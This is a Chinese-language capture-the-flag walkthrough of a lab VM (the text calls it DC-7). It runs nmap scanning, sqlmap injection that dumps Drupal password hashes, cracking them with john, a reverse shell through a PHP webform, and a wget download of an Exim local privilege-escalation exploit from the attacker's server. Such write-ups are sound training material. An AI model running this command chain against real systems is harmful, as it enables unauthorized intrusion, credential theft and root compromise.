一. 信息收集
1. 探测目标主机IP地址
arp-scan -l //查看网段
vm 编辑--查看虚拟网络编辑器,看到靶机的网段
网段是: 192.168.83.0
是c段网络
2. 全面检测目标IP
nmap -sP 192.168.83.1/24
靶机ip是:
192.168.83.153
攻击机的ip是:
192.168.83.136
3.扫描端口
端口和服务是对应关系的根据计算机网络的应用层协议
nmap -p 1-65535 -A 192.168.83.153
80端口--http服务打开
22端口打开是ssh服务
访问页面
页面探测发现drupal7
4.目录扫描
dirsearch -u 192.168.83.153 -e * -x 403 --random-agent
二. 渗透过程
1. SQL注入
发现注入点
添加闭合方式报错
a.爆库
出现了SQL报错,接下来就上SQLmap跑了,爆一下数据库
sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch --current-db //爆破当前数据库
数据库是: d7db
b.爆表
sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables
有一堆表,但是有用的只有users,接着
c.爆字段名
sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns
d.爆字段内容
sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C'name,pass,uid' -dump
得到了两个用户,还有hash密文,我们建一个文件,将两个密文保存起来
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
2. 爆破密文
Drupal的hash密文是经过特殊加密的,用john进行爆破
john pd.txt
得到一个密码turtle
3. 反弹shell
测试发现是john的密码,在/user/login处登入,探索发现在WEBFORM处可以编辑并执行PHP代码
在页面找到上传php代码的地方
nc -lvvp 6666
转换为交互式命令
python -c "import pty;pty.spawn('/bin/bash')"
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被提权的风险
常用的SUID提权命令有:nmap、vim、find、bash、more、less、nano、cp等。
sudo和SUID的区别
sudo是给某个用户或者组授予执行某些命令的权限,权限在人身上
SUID是给命令赋予root用户的权限,权限在命令上
4. 提权
找查一下suid权限的二进制文件
find / -perm -4000 -print 2>/dev/null
这里试一下,先看一下版本
exim --version
版本是 4.89
接着找一下漏洞
searchsploit exim 4.89
看到了可以提权的漏洞
Exim 4.87 - 4.91 - Local Privilege Escalation | linux/local/46996.sh
复制一下文件
cp /usr/share/exploitdb/exploits/linux/local/46996.sh hack.sh
开启http服务
python -m http.server 8888
在DC-7中下载该文件,先跳到tmp目录
cd /tmp
wget 192.168.83.136:8888/hack.sh
可以看到文件是不可执行的,我们可以用chmod命令赋予执行权限
chmod 777 hack.sh
5. 找查flag
在root目录下发现flag文件